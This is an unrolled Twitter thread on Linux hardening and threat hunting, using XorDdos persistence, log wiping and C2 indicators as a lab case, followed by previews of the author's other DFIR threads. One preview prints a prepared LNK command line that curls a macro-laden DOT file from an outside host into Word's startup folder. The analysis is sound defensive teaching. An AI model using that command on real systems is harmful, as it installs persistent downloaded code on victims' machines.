Stephan Berger Profile picture
Jun 7 25 tweets 8 min read
1/ Linux #Hardening and #ThreatHunting

The screenshot below is from Microsoft [1] - using XorDdos as an example, we can learn a lot about Linux forensics and hardening. 🧵

#CyberSecurity
2/ XorDdos bruteforces (root) access via SSH.

Learning: Prevent logging in via SSH with passwords (use priv/pub keys instead).

Within the SSH config (/etc/ssh/sshd_config), modify at least the following two lines:

PermitRootLogin no
PasswordAuthentication no
3/ SSH can, of course, be secured in much more detail.

DigitalOcean has put together an excellent guide on this topic:

digitalocean.com/community/tuto…
4/ To examine XorDdos more closely, we download the ELF file from VT and infect our test machine with it (this file would be placed on the server after the root account has been compromised):

virustotal.com/gui/file/8a006…
5/ As seen in the first screenshot from MS, XorDdos creates various persistence mechanisms, including a cron job.

Cron jobs are one of the first things I check on a Linux system when assuming a compromise.
6/ The malware created a new entry in the /etc/crontab file - the /etc/cron.hourly/gcc4.sh file is called periodically.

Scripts called by a cron job should always be examined very carefully.
7/ Inside the shell script called by the cron job, a file is copied inside the /lib/ directory and then started.
8/ The hash sum is the same as from the started binary (/4) - according to Microsoft [1], the malware copies itself into the /lib directory, among other directories.
9/ In addition to the cron job, a new init entry was created on our (Ubuntu) machine that starts and stops the malware.

The init file gets the same name as the invoker program. The content of this init file should look at least suspicious enough to dig deeper.
10/ "After running the ELF file, uses an anti-forensic technique that hides its past activity by overwriting the content of the following sensitive files with a newline character:" [1].
11/ On our test machine, a journal is kept where all log messages are written by the journald (in the path /var/log/journal). We can export the journal for easier analysis:

journalctl --file <path>/system.journal -o export > /tmp/journal
12/ Read more about the journal from the sample chapter from the highly recommended book "Practical Linux Forensics" from @nostarchpress:

nostarch.com/download/sampl…
13/ Inside the journal, we find out from which IP address was logged in via SSH, even if other log files were deleted (see /10).

By the way, the malware does NOT delete the auth.log file (consciously or unconsciously), which we can use for forensic purposes.
14/ There are also traces of the cron job in the journal:
15/ Even though XorDdos deletes various log files, and according to Microsoft, also uses other techniques for hiding, it should be relatively easy to identify a machine infected with XorDdos.
16/ The spoofed command-line (see again [1]) can be used for hunting (there should not be too many processes running on a network that execute "cat resolv.conf").
17/ Even better is to look for the file gcc4.pid in the /var/run directory.

This value is sent to the C2 to identify the infected host uniquely.

If this file is present on a system, a deeper search must be done to check for a compromise by XorDdos.
18/ For those who have been following me on Twitter for a while.... exactly, @Sandfly! :)

We create a new sandfly where we specifically search for the file gcc4.pid on the whole file system.
19/ Our newly created Sandfly can now be selected for searching across our Linux fleet.
20/ And we get a hit (or a failure - that means the search have returned a hit).

Interestingly, the file is not stored under /var/run/, but under /run. A strict search for the fixed file path (from the IOC from MS) would not have found this file.
21/ Within the result from the Sandfly hit, we see the unique value used for sending back to the C2, indicating a true positive hit.
22/ As a last check, we take a closer look at the network connections. We see that "cat resolv.conf" has sent a SYN to an external IP address. Suspicious ;-)
23/ This IP address, in turn, brings us back to XorDdos:

virustotal.com/gui/file/00007…
24/ Also a good hunt: Searching for connections on the firewall with successful or attempted connections to a high port (like in our example to port 60000).
25/ Reference:

[1] microsoft.com/security/blog/…

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Stephan Berger

Stephan Berger Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @malmoeb

May 29
1/ Interesting infection chain:

When an LNK file is double-clicked, a decoy PDF is displayed & a DOT file is downloaded and placed in the Microsoft Word Startup folder.

The downloaded DOT file contains macro code that is now loaded every time Word is started. Let's dive in 🧵
2/ Our prepared LNK has the following CMD line:

C:\Windows\System32\cmd.exe /c explorer shorturl.at/kBKM6 & mkdir %appdata%\Microsoft\Word\STARTUP & curl -o %appdata%\Microsoft\Word\STARTUP\DFIR.dot temp.sh<redacted>/invoice.docx
3/ This embedded information can be displayed and analyzed with exiftool or another LNK viewer.
Read 14 tweets
May 21
1/ #ThreatHunting: I have previously tweeted about using workstation names for hunting.

We have seen in a recent case the workstation name "WIN-799RI0TSTOF", which has already been tracked by @BushidoToken, @teamcymru_S2 and @TheDFIRReport.

🧵

(Picture from the TheDFIRReport)
/2 The TA used the leaked credentials from an employee of the company to connect to the internal network via Citrix Netscaler.

Using the Velociraptor @velocidex Hunt Windows.EventLogs.RDPAuth, we first gather logon data from the systems in our network. Below the description.
3/ Although the hunt says in the description "Best use of this artifact is to collect RDP and Authentication events around a timeframe of interest" this Velo-Search can also be used wonderfully for generic hunting.
Read 9 tweets
May 12
1/ #ThreatHunting

AnyDesk
Splashtop
Atera
TeamViewer
SupRemo
ScreenConnect
Remote Utilities

After breaching a network, attackers install, besides the obvious backdoors, other (legitimate) remote desktop products that can be used to re-enter the network. 🧵

#CyberSecurity
2/ The list above is not exhaustive, but defenders and incident responders must make sure that the installed remote desktop products were installed by the customer and not by an attacker.
3/ Especially in the case of an IR investigation, it is imperative to hunt for these products in the network.

But also proactively during a compromise assessment - the credentials for the remote solution could also have been leaked on a private PC (-> if possible, use MFA).
Read 4 tweets
May 11
1/ @CISAgov published the 2021 Top Routinely Exploited Vulnerabilities.

We also had another IR case not too long ago where the attackers connected via Forti-VPN where the credentials for that account were in the big credentials leak - in 2022! 🤯

cisa.gov/uscert/ncas/al…

🧵👇
2/ Reminder:

The credentials were (potentially) obtained from systems that remained unpatched against CVE-2018-13379 at the time of the actor's scan. Even if the devices have since been patched, they remain vulnerable if the passwords are not reset. 🚨

fortinet.com/blog/psirt-blo…
3/ Actually, this should have been done a loooooong time ago, but companies should check (or have checked) whether credentials from their users are present in this leak.

And (or) change all users' passwords if necessary, together with a review of the VPN configuration.
Read 4 tweets
May 9
1/ @ESET (see tweet below) has reported that #Emotet uses LNK attachments for the initial infection vector.

We can download a sample from Bazaar by @abuse_ch for doing our own analysis (sample from 2022-05-02).

bazaar.abuse.ch/sample/ce7191e…

#CyberSecurity
2/ exiftool works very well to find out the path and command line arguments of the malicious LNK file:
3/ The analyzed sample from @Netskope calls PowerShell directly. However, in our sample, cmd.exe is called first, then PowerShell with a base64 encoded command argument.

Picture taken from here - an analysis worth reading:
netskope.com/blog/emotet-ne…
Read 8 tweets
May 8
1/ #ThreatHunting: @Avast mentions in its Q1 Threat Report that one-third of their observed rootkit activity are due to the Ring-3 rootkit R77.

Here are two hunting approaches to detect R77 on an infected system. 🧵

#CyberSecurity
2/ R77 is an open-source rootkit that attempts to hide the existence on the infected system at various levels (screenshot).

As stated on the GitHub repo, e.g., all entities where the name starts with "$77" are hidden.

github.com/bytecode77/r77…
3/ The installer creates two scheduled tasks for the 32-bit and the 64-bit r77 service, according to the GitHub Readme.

After running the installer on our lab system, no new scheduled task is visible inside the Tasks folder.
Read 10 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(